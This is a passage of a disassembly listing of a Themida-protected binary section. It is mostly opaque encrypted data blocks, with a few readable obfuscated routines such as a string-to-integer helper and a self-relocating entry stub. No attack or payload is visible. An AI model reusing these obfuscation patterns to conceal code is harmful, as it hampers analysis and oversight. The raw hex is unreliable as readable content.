		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F2FD2E4Fh, 89501B60h, 0E42681B5h, 204F8B07h
		dd 5227CB80h, 5ADBB70Fh, 6A036Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 897CC3C3h, 0E40A65BDh
		dd 0BB669107h, 0B2506D7Dh, 0BB669106h, 858DDCDEh, 7E77026h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 42C35141h
		dd 0C80F5C68h, 45981686h, 28B0F74h, 8A000000h, 0E18D89D1h
		dd 0FF07E422h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 4651D700h, 4F7D8D8Bh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8B66BCC3h, 6A01FED9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0ACAAC350h
		dd 0F5FCB0B6h, 0C8A86DC4h, 0A719D8Bh, 858B07E4h, 7E44F7Dh
		dd 0DCE88160h
dword_588C64	dd 0E9133437h, 0Ch, 455A966Ah, 0DE55DD3Eh, 8C1C9FAFh, 8000FE61h
		dd 16AB1E2h, 4E8BDB2h, 0FF000000h, 8BFFFF9Fh, 8B6650DAh
		dd 24448BD3h, 8B525004h, 60310FD6h, 0B4FF44BEh,	0F52504Ch
		dd 61585A31h, 8B585Ah, 89DA8B66h, 0BA042444h, 78E2E60Ah
		dd 0DB816658h, 858D7396h, 7E77030h, 0A358D09h, 8D3107E4h
		dd 7E4321Dh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A0C44C3h, 856C6872h, 0B95BD83h
		dd 0F0007E4h, 0DA84h, 89958B00h, 8307E423h, 0E42015BDh
		dd 850F0107h, 0C7h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 16h, 62C35040h, 0BB66C5F6h, 8D8D7E94h, 7E7703Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EBC35747h
		dd 6AD38B66h, 158D8903h, 6A07E425h, 9D896001h, 7E402BDh
		dd 61FAB70Fh, 8166D1FFh, 0F9401FCAh, 13E8016Ah,	54000000h
		dd 0B8DA0248h, 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h, 8B66942Bh
		dd 81665AD1h, 6A0072F2h, 15958B01h, 8907E430h, 0E42A4DBDh
		dd 1D1FF07h, 0E4278DBDh, 0E80BB707h, 0F8776D59h, 0A98589h
		dd 6E807E4h, 0FA000000h, 0F2BAB8D9h, 0CE967h, 98950000h
		dd 0AF677B7Ah, 30F16BEEh, 6A5A58BFh, 53006A20h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 508E98F9h
		dd 21659D8Bh, 6A5B07E4h, 0F810FFFh, 0E9000000h,	0Ah, 0EB061534h
		dd 0B4B8035Fh, 95FFC579h, 7E41601h, 0E4DB589h, 0B807E4h
		dd 0BB000000h, 42FFBE78h, 840FC00Bh, 80h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0F7C35242h, 7DCB27A6h
		dd 897D26FBh, 0E41C1585h, 35958B07h, 8307E42Dh,	0E42471BDh
		dd 840F0007h, 44h, 95FFDA8Bh, 7E41F91h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 2EC35141h, 13E837h
		dd 8FD20000h, 3FEFEF1Fh, 3DF16E33h, 0B0BD8FE0h,	0D08154FDh
		dd 458D896Dh, 5A07E40Eh, 1EB5858Bh, 0E28007E4h,	12E95219h
		dd 0E9000000h, 0E92A7187h, 54BC72F6h, 0E14682C6h, 1C0E51EFh
		dd 0C65BADh, 9E800h, 0E5510000h, 5D7C9921h, 8120EFCAh
		dd 0CFEC30D3h, 0F585B37h, 689h,	6EEB8100h, 6665DCC7h, 6AD98Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F65D78C3h, 840F04C1h, 0AFh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 62C35040h, 0B704F663h, 11CB80A3h
		dd 86E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0BD402976h, 0BA37C50Bh, 2B85B7D7h
		dd 0E418459Dh, 0B8EB8107h, 8B3CFC8Bh, 0E42D39B5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E1738149h, 6A4D5212h, 0F51FF94h, 815ADEBFh,	1180C6h
		dd 0E19D0B00h, 0C707E41Ch, 6, 6E800h, 0E2E20000h, 1835FA25h
		dd 1E4D9D89h, 5E5B07E4h, 0F883F8h, 0AB6840Fh, 9CBB0000h
		dd 0F528EAEAh, 0F01F883h, 12385h, 0D0B70F00h, 0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0CE965h, 5EC30000h, 0F51DEFFh, 0E2C96D77h, 0C00B7D7Ah
		dd 7D840Fh, 9D230000h, 7E41D21h, 0F01F883h, 0AF84h, 0A5958B00h
		dd 8307E415h, 840F03F8h, 39h, 1A05BD29h, 0EE807E4h, 0CA000000h
		dd 863837A3h, 2C348606h, 980A1249h, 69850909h, 5A07E40Ah
		dd 958BC02Bh, 7E42641h,	89E0BD8Dh, 9D8B005Bh, 7E4096Dh
		dd 0BF0FE7FFh, 1B8D7h, 860F0000h, 6, 0EB72E281h, 0BD8D62BFh
		dd 5B89E0h, 0FE7FFF5h, 68Eh, 599D8B00h,	8D07E42Ah, 0E44609BDh
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 22A29EF7h, 6D55822Fh, 8A0F60B7h,	1, 1E5E9F8h
		dd 0F500000h, 282h, 5BFA8A00h, 4FD885C7h, 507E4h, 26BB0000h
		dd 0B808B27Ah, 5, 3850Fh, 0C2800000h, 8C7E94Fh,	958B0000h
		dd 7E42EB5h, 0F02F883h,	0B985h,	14E800h, 79B0000h, 0ED369055h
		dd 0FF6F8603h, 0F8A91FF9h, 31D1C6C5h, 800F3DE4h, 6, 18FDBD89h
		dd 895A07E4h, 0E406E9BDh, 0B807h, 0D7800000h, 0FC00B77h
		dd 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 5739610Ah, 74BA82F2h, 1E61958Bh
		dd 0F88307E4h, 61840F01h, 81FFFFFFh, 0B9664DC2h, 3F88315h
		dd 0FEEB840Fh, 958BFFFFh, 7E40155h, 0B8h, 0B58D0100h, 8D07E416h
		dd 5B89E0BDh, 0C19D3300h, 0FF07E41Ah, 0FD9D8BE7h, 8D07E40Eh
		dd 0E44801BDh, 0ECA8107h, 0E915A2FDh, 0F7h, 15698589h
		dd 0F88307E4h, 1B850F03h, 1000000h, 0E41D6DB5h,	95BD8D07h
		dd 6607E449h, 0E508D381h, 0D2E9h, 0E3816600h, 0F8831D00h
		dd 2C850F05h, 1000000h,	0E42339BDh, 7C7E907h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 388ED7C3h, 83F1FD27h, 850F06F8h, 26h, 22518529h, 0BD8D07E4h
		dd 7E44B8Dh, 0C810Fh, 890F0000h, 6, 1901958Bh, 6CE907E4h
		dd 80000000h, 0F88367DAh, 39850F07h, 8B000000h,	0E406619Dh
		dd 59BD8D07h, 6A07E433h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8BE3C350h, 0E4019195h
		dd 0E7E907h, 958B0000h,	7E42469h, 0F0AF883h, 1E85h, 16BB6600h
		dd 85BD8DFCh, 5607E44Dh, 0CE95AF8h, 0F000000h, 688h, 91958B00h
		dd 5707E423h, 30B9D88Bh, 8046DBE5h, 3F83ABE6h, 9F840F00h
		dd 29000000h, 0E408CD9Dh, 6A0F3007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 21A0C356h
		dd 0DF8BAC0Eh, 6AC9D1h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0EBD02FC3h, 6A472FB1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89E4C357h, 0E431D18Dh, 0FF84E907h, 6AFFFFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 990F33C3h, 958BAAE2h, 7E41D7Dh, 1259D8Bh, 895F07E4h
		dd 0E4264DB5h, 81BD8907h, 8B07E44Fh, 0E4036D95h, 0C18D8D07h
		dd 6A07E430h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 62C351h, 0CB344314h, 65B5FFC8h
		dd 8B07E416h, 0E41DF59Dh, 0D6858D07h, 5007E6DBh, 56EBBD8Dh
		dd 8D8D07E4h, 7E46F50h,	831ABCB8h, 30CF2B54h, 47C8D007h
		dd 8DF87549h, 0E46EEFB5h, 688D8D07h, 2B07E46Fh,	33A4F3CFh
		dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E42471h, 0FF067400h
		dd 0E41F9195h, 81B58B07h, 8D07E44Fh, 0E6DBD685h, 8DD0FF07h
		dd 0E443E785h, 0C7D0FF07h, 0E40E6585h, 107h, 49A58B00h
		dd 8B07E406h, 0E40F11B5h, 71AD8B07h, 3307E412h,	0CC2C0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3C35040h
		dd 0D22F725Bh
		dd 6AF8F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 441CD7C3h, 1DBD83B8h, 7E423h, 19840Fh, 0BA600000h
		dd 1C7F0834h, 27AD8D03h, 0FF6107E4h, 0E421E195h, 559D8B07h
		dd 8307E416h, 0E4038DBDh, 850F0007h, 27Ch, 8303C680h, 0E42015BDh
		dd 850F0107h, 26Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0DEC35040h, 3CE809BDh, 0BBCABEBBh, 7C6DDD91h
		dd 0AD9BD83h, 0F0007E4h, 23784h, 0FD78B00h, 684h, 0A59D0100h
		dd 8307E431h, 0E44FD4BDh, 840F0007h, 21Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 5EC35141h, 2C05958Bh
		dd 0E95607E4h, 0Fh, 0A1583351h,	71B43060h, 795305D9h, 5BE24DDAh
		dd 0DBD6858Dh, 8D8907E6h, 7E42AE1h, 32958D29h, 0B58B07E4h
		dd 7E44F81h, 5E4CBA66h,	6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0B3DCAC3h, 0CBDF4545h
		dd 0C654CDD5h, 0E42C2D85h, 66605407h, 0A039EF81h, 18DD9529h
		dd 0E86107E4h, 4, 0FF4EBEF4h, 629EBB60h, 94BF51E3h, 61258674h
		dd 9E95650h, 0C8000000h, 4DA818F5h, 4313CEB8h, 24448B5Ah
		dd 8BD88B04h, 19840F00h, 0E9000000h, 14h, 5673206Bh, 6D142ACAh
		dd 835ABC38h, 5EE80BBAh, 7D99336h, 4244489h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0DABFA2BDh, 5D33C453h, 0BD295167h, 7E40669h,	19DB5FFh
		dd 0F85707E4h, 0D8B70F5Ah, 3BDC858Dh, 6A07E4h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 81360CC3h, 329DCC22h, 9D23B80Ah, 7E419CDh, 1CBBD0FFh
		dd 0F397708h, 68Ch, 7DBD2900h, 6A07E42Ah, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0B138289Fh, 10E8h, 23184600h, 7F63214Fh, 7417D3BCh
		dd 806756A6h, 5D958BF2h, 5B07E418h, 0D08BFF6Ah,	6E98501h
		dd 0D0FF07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0F3C35545h, 7D280A42h, 0D81958Bh, 0B5FF07E4h, 7E403ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9CC35040h
		dd 84496616h, 4059A42Eh, 95FFD08Bh, 7E41665h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h, 0E1E874F1h
		dd 4F81B58Bh, 0C3F907E4h, 2DD5B531h, 0B58B07E4h, 7E41EB5h
		dd 66E38166h, 0FF60B9Ch, 3584h,	0EE900h, 29150000h, 0DA2A9865h
		dd 6CB4FD50h, 81873931h, 6A0006C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 65B7C353h
		dd 85894246h, 7E44F89h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0C9C35242h, 1F830F22h, 0E8000000h, 0Ch
		dd 0A115614Eh, 8876EDBBh, 0FE855B3Ch, 7E8h, 0AD49F100h
		dd 47248D34h, 0F8835B5Bh, 0BD840F00h, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 76B3C356h, 0E18BBB66h, 0B8D48Ah, 8B000000h, 0F883D3h
		dd 71840Fh, 83F80000h, 850F02F8h, 37h, 1F198D89h, 858D07E4h
		dd 7E44604h, 16AD9589h,	292D07E4h, 3000009h, 0E4251195h
		dd 66609007h, 66864CBFh, 5061CB8Bh, 90D98B66h, 0DC8ABA66h
		dd 0F19D8BC3h, 0B807E420h, 0
		dd 2511BD89h, 39E907E4h, 6A000002h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0AA94C356h
		dd 0B8FC4A8Dh, 1, 4609BD8Dh, 816607E4h,	0E980A0E3h, 0E4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h
		dd 0BB667BD4h, 0F883E63Ah, 78850F02h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E41C351h, 3E97668Ch, 20BF883Fh, 0DE9h, 48F13300h, 0A4B75839h
		dd 83402F90h, 8B66E898h, 1BD8DDAh, 0E907E448h, 74h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h, 623013Bh
		dd 958B0259h, 7E41F3Dh,	5830Fh,	81660000h, 835CF0E3h, 850F03F8h
		dd 1Dh,	0AD87BA66h, 4995BD8Dh, 8B6607E4h, 26E9D3h, 6E90000h
		dd 0E000000h, 7C3B613Ch, 5F883E7h, 12850Fh, 6E90000h, 0A5000000h
		dd 0D331A6A9h, 5FE9BAh,	0F5B60000h, 0DA816657h,	30B98B1Fh
		dd 8946DBE5h, 0E4047985h, 3F8307h, 43840Fh, 0E9600000h
		dd 13h,	0AA12A9A9h, 3754FB5Bh, 0AC0C6633h, 32D0A030h, 0F1E42FFh
		dd 2961C1B7h, 0E41C45B5h, 0F0F3007h, 0C9D1DEB7h, 297CE380h
		dd 0E41F05BDh, 0E9F84707h, 0FFFFFFBDh, 317BCA80h, 0E416898Dh
		dd 5F88307h, 0BA850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 1D58EFC3h, 9589AFD5h
		dd 7E42EC5h, 6880Fh, 8D890000h,	7E4063Dh, 80D98C66h, 0C1F679EEh
		dd 55850F04h, 0E8000000h, 8, 63F439ACh,	0F6ED3B20h, 26518589h
		dd 0B85A07E4h, 0
		dd 0A2BCBA51h, 0E95B1CE9h, 54h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0F4C35545h,	982A6629h, 8B242229h
		dd 1DBD31DFh, 6607E404h, 0BCA9CA81h, 3571858Bh,	0FFFC07E4h
		dd 499D8BE0h, 0E907E433h, 10h, 0B9696939h, 0CE9B2838h
		dd 107EA68Ch, 5538BCB6h, 1665BD83h, 0F0007E4h, 10585h
		dd 68D0F00h, 89000000h,	0E4050995h, 13E95007h, 4A000000h
		dd 6755DCE4h, 43A5E3D9h, 4F6DF597h, 6DBE944Bh, 489290Ah
		dd 11E924h, 0E2DA0000h,	0A05237EDh, 0E4A0C4A2h,	8D40D9B2h
		dd 81B4E9F8h, 0A90D1CAh, 2D85C647h, 4507E42Ch, 68DAB70Fh
		dd 0EA730B37h, 0D68B5250h, 8B66310Fh, 81585AD3h, 625E2434h
		dd 95896401h, 7E41CFDh,	19DB5FFh, 0B58907E4h, 7E42C59h
		dd 3860Fh, 8B660000h, 0DC858DDFh, 8107E43Bh, 8CB911DAh
		dd 0FE935h, 80C50000h, 0E9CC0A0h, 0A09BCA81h, 8892B95h
		dd 81D0FF86h, 0D6277DEBh, 897BB304h, 0E4166585h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0C05AE358h, 2569958Bh, 0DB8107E4h, 853CF18h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 594F4BC8h, 2FAB4549h, 0A698BAB5h, 0BD832657h, 7E44FD8h
		dd 51840F00h, 89000000h, 0E41B99B5h, 0ADB5FF07h, 6A07E403h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0B685C356h, 8CA18C1Fh, 95FFC483h,	7E41665h
		dd 1AA9958Bh, 11E907E4h, 0C8000000h, 0CA8D2A7Dh, 718B72BFh
		dd 3FF26266h, 38A766DCh, 0F00F883h, 0BD85h, 6E900h, 0F4040000h
		dd 6AD8FD4Ch, 6B9BD83h,	0F0007E4h, 5784h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0CFA88A3Dh, 0BBD3B70Fh, 7549DCA6h, 6B9B5FFh,	9D0107E4h
		dd 7E41449h, 1B8h, 0FE900h, 0C22E0000h,	0A4880E05h, 0DE3D2F03h
		dd 7A5DAC87h, 19BE94Eh,	958B0000h, 7E405ADh, 3ADB5FFh
		dd 895207E4h, 0E403458Dh, 0B5FF5A07h, 7E403ADh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E2C35141h, 65B5FF2Ah
		dd 8907E416h, 0E4180595h, 153E907h, 958B0000h, 7E405A1h
		dd 160D9D89h, 575F07E4h, 26DD958Bh, 835A07E4h, 0E42161BDh
		dd 850F0007h, 72h, 28B0Fh, 0DA8B0000h, 24D99D89h, 85C607E4h
		dd 7E42C2Dh, 38D0F4Dh, 80000000h, 0E36870E6h, 0B29CB8F3h
		dd 243481D2h, 388D854Bh, 0FF93D280h, 0E41DE1B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 665D8A20h, 7C1DA81h,	3BDC858Dh, 858907E4h, 7E41AA1h
		dd 0BB66D0FFh, 85890B51h, 7E42161h, 0B8D8B6h, 0FC000000h
		dd 4F81BD89h, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 9DFBC2C3h, 16840Fh, 0E9600000h
		dd 0Fh,	7FAD8297h, 7F53A386h, 1B4CEA2Ch, 61AEF8ECh, 840FC00Bh
		dd 25h,	0E9D2BF0Fh, 69h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 1C35040h, 65B5FFFFh, 307E416h, 0E405719Dh
		dd 0D6858D07h, 6A07E6DBh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0EC37C350h,	3988E994h
		dd 0EE96050h, 65000000h, 9A8B2D48h, 867350B0h, 0F877345Fh
		dd 4896193h, 8D565024h,	0E456EBBDh, 9F8D8D07h, 0B807E479h
		dd 748323BCh, 730CF2Bh,	4947C8D0h, 585EF875h, 6B9BD83h
		dd 740007E4h, 0A58D8B06h, 3307E41Ah, 0B8C9h, 0C00B0000h
		dd 0A8840Fh, 0BD830000h, 7E42471h, 0FF067400h, 0E41F9195h
		dd 0B807h, 0C00B0000h, 0BD830975h, 7E44F89h, 83097401h
		dd 0E44F89BDh, 0E750207h, 4F81B58Bh, 858D07E4h,	7E6DBD6h
		dd 0BD83D0FFh, 7E4231Dh, 0FF067400h, 0E421E195h, 0E7858D07h
		dd 0FF07E443h, 11BD83D0h, 207E40Bh, 0A58B2F75h,	7E40649h
		dd 6B9858Bh, 48907E4h, 6585C724h, 107E40Eh, 8B000000h
		dd 0E44F85B5h, 71AD8B07h, 0B807E412h, 1, 0EB000CC2h, 6585C700h
		dd 107E40Eh, 8B000000h,	0E40649A5h, 11B58B07h, 8B07E40Fh
		dd 0E41271ADh, 0C2C03307h, 0BD83000Ch, 7E4231Dh, 830F7400h
		dd 0E421E1BDh, 6740007h, 21E195FFh, 0B58B07E4h,	7E44F81h
		dd 52006AC3h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 457D8578h, 0EBF28166h, 29958977h, 0BA07E42Ch
		dd 0
		db 66h,	8Bh, 0DEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_589F5B
; ---------------------------------------------------------------------------


loc_589F59:				; CODE XREF: Themida_:00589F5Ej
		inc	eax
		inc	edi


loc_589F5B:				; CODE XREF: Themida_:00589F57j
		cmp	byte ptr [edi],	0
		jnz	short loc_589F59
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_589F8A
; ---------------------------------------------------------------------------


loc_589F67:				; CODE XREF: Themida_:00589F8Cj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_589F7F
; ---------------------------------------------------------------------------


loc_589F7C:				; CODE XREF: Themida_:00589F82j
		mul	ebx
		dec	esi


loc_589F7F:				; CODE XREF: Themida_:00589F7Aj
		cmp	esi, 0
		ja	short loc_589F7C
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_589F8A:				; CODE XREF: Themida_:00589F65j
		or	eax, eax
		jnz	short loc_589F67
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 14D9D8Bh, 0D08B07E4h, 0EEE9C18Bh, 0F4000255h, 1B0012FEh
		dd 0E0006087h, 1B0012FFh, 2B006087h, 1B00606Dh,	23026D00h
		dd 12026D00h, 2000002h,	2 dup(1000000h), 8B000000h, 0F87424h
		dd 4 dup(0)
		dd 27000000h, 180058FAh, 0D70058D8h, 34005977h,	2D0058F0h
		dd 4D00594Fh, 5A00590Ah, 2000591Eh, 360058CEh, 60005936h
		dd 7D005934h, 370058B9h, 0A50058D6h, 5100593Bh,	0E0005906h
		dd 0B00596Dh, 73005941h, 80058BEh, 0CF005929h, 1400593Dh
		dd 0DB0058B0h, 0AB005944h, 7E0058CBh, 580058A9h, 0B60058E0h
		dd 0AE005907h, 0D7005934h, 0E8005938h, 0E20058E6h, 0DA00595Eh
		dd 600593Fh, 0DE0058E1h, 920058CDh, 2F0058F5h, 6600596Ah
		dd 600058CEh, 8D005916h, 0AE005977h, 2F0058B2h,	1E0058CDh
		dd 0EA0058F1h, 1D00593Fh, 870058B1h, 2200594Fh,	6200595Fh
		dd 0F000594Fh, 0E90058E7h, 580058FBh, 77005900h, 24005976h
		dd 210058B0h, 0DC005915h, 0B800597Eh, 6D005950h, 8500593Fh
		dd 410058ADh, 270058D2h, 5100596Fh, 0B700591Dh,	0A900590Ch
		dd 5A00592Fh, 0CA0058E6h, 0CD0058EFh, 63005944h, 0F300594Ch
		dd 70058ABh, 2D0058E2h,	8F0058C0h, 2A00596Ch, 0ED0058C2h
		dd 0C500593Dh, 0DC005930h, 560058A4h, 0C2005969h, 140058BBh
		dd 0F800596Dh, 5F005941h, 280058FDh, 40058DFh, 0E700594Ah
		dd 0A0005901h, 8900590Fh, 4F0058A6h, 15005908h,	0F80058A4h
		dd 890058BFh, 320058C7h, 450058FCh, 5E0058DBh, 0D800592Eh
		dd 0D1005971h, 480058C4h, 0B1005917h, 0A70058FAh, 0BF0058CFh
		dd 2500590Eh, 930058F6h, 0DC005968h, 0DD005918h, 4D005904h
		dd 9A005939h, 21005931h, 4100593Dh, 5300595Ah, 0D1005963h
		dd 8E0058A9h, 0CF0058F9h, 95005912h, 0FB0058F9h, 5F00594Eh
		dd 0D00058DEh, 5D00596Fh, 95005915h, 0AB0058D1h, 0A10058C6h
		dd 5D005920h, 50058B1h,	790058E7h, 7600596Ah, 8B0058D0h
		dd 0A1005919h, 990058E7h, 49005953h, 760058DAh,	7A00595Bh
		dd 7F0058FAh, 7F0058EAh, 0D7005952h, 0DA0058E7h, 0F400593Ch
		dd 740058F4h, 9B005907h, 73005938h, 6A0058F3h, 0AF0058BAh
		dd 0C900594Fh, 590058C1h, 4C00591Dh, 0D200592Bh, 9300593Fh
		dd 3600593Ah, 0E005908h, 4F005914h, 710058E5h, 740058DDh
		dd 54005909h, 90058AAh,	4D005917h, 37005961h, 73005917h
		dd 0FB005958h, 0D0005920h, 10005932h, 880058AAh, 0A40058E1h
		dd 80058BAh, 120058D7h,	0F8005934h, 760058E8h, 6E0058C9h
		dd 0D400593Bh, 0C00058D3h, 780058C1h, 46005972h, 2A0058D5h
		dd 0AB0058E5h, 860058D6h
		db 39h,	59h, 0
; ---------------------------------------------------------------------------


loc_58A287:				; CODE XREF: Themida_:005BD0C6j
					; Themida_:005C0957j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E47E04h
		mov	eax, edi
		add	edi, 7E47B1Ch
		cmp	eax, [edi+2Ch]
		jnz	short loc_58A2A5
		jmp	short loc_58A2B8
; ---------------------------------------------------------------------------


loc_58A2A5:				; CODE XREF: Themida_:0058A2A1j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58A2B4
; ---------------------------------------------------------------------------


loc_58A2AF:				; CODE XREF: Themida_:0058A2B6j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58A2B4:				; CODE XREF: Themida_:0058A2ADj
		or	ecx, ecx
		jnz	short loc_58A2AF


loc_58A2B8:				; CODE XREF: Themida_:0058A2A3j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58A2C5:				; CODE XREF: Themida_:0058A2CCj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58A2C5


loc_58A2CE:				; CODE XREF: Themida_:0058A691j
					; Themida_:loc_58A801j	...
		lodsb
		jmp	loc_5963AE
; ---------------------------------------------------------------------------
		dd 8B1C7709h, 89562434h, 4C681E6h, 0E9000000h, 0CD7h, 4C481h
		dd 9BE90000h, 8B00001Ch, 34FF2424h, 2434FF24h, 2602E959h
		dd 3C8B0000h, 0EEA6824h, 14890000h, 0E9E28924h,	14AAh
; ---------------------------------------------------------------------------


loc_58A314:				; CODE XREF: Themida_:005977BEj
		xchg	ebp, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	500h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5927C2
; ---------------------------------------------------------------------------


loc_58A338:				; CODE XREF: Themida_:005973A4j
		or	ecx, ecx
		jz	loc_58D6EF
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59665C
; ---------------------------------------------------------------------------
		dd 4BAh, 84B85000h, 2D6A3872h, 50894668h, 0E958C729h, 1691h
		dd 2B850h, 0C2890000h, 5AD08958h, 575AC681h, 0C62965DAh
		dd 575AEE81h, 875865DAh, 248B2434h, 4896624h, 0FF3CE924h
		dd 88BEFFFFh, 29F757FAh, 17BFE9F3h, 0F9010000h,	240C875Fh
		dd 0CD58E9h, 24348700h,	6624248Bh, 5124048Bh, 78C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A3B9:				; CODE XREF: Themida_:00597AF3j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 3C092462h
		mov	esi, 27365E11h
		xor	esi, ebp
		jmp	loc_59769A
; ---------------------------------------------------------------------------


loc_58A3E0:				; CODE XREF: Themida_:00593C47j
		add	esi, 0A617000h
		add	esi, ecx
		sub	esi, 0A617000h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5957BA
; ---------------------------------------------------------------------------
		dd 29CDED81h, 0F5295931h, 29CDC581h, 79E95931h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A40F:				; CODE XREF: Themida_:00591844j
		pop	esi
		jmp	loc_58FEF5
; ---------------------------------------------------------------------------
		db 0ACh, 4, 34h
		dd 2C12B151h, 4C8289Dh,	0D828599Dh, 62E95153h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A42B:				; CODE XREF: Themida_:0058FEC4j
		add	ecx, esi
		sub	ecx, 0A575744h
		mov	esi, [esp]
		add	esp, 4
		push	eax
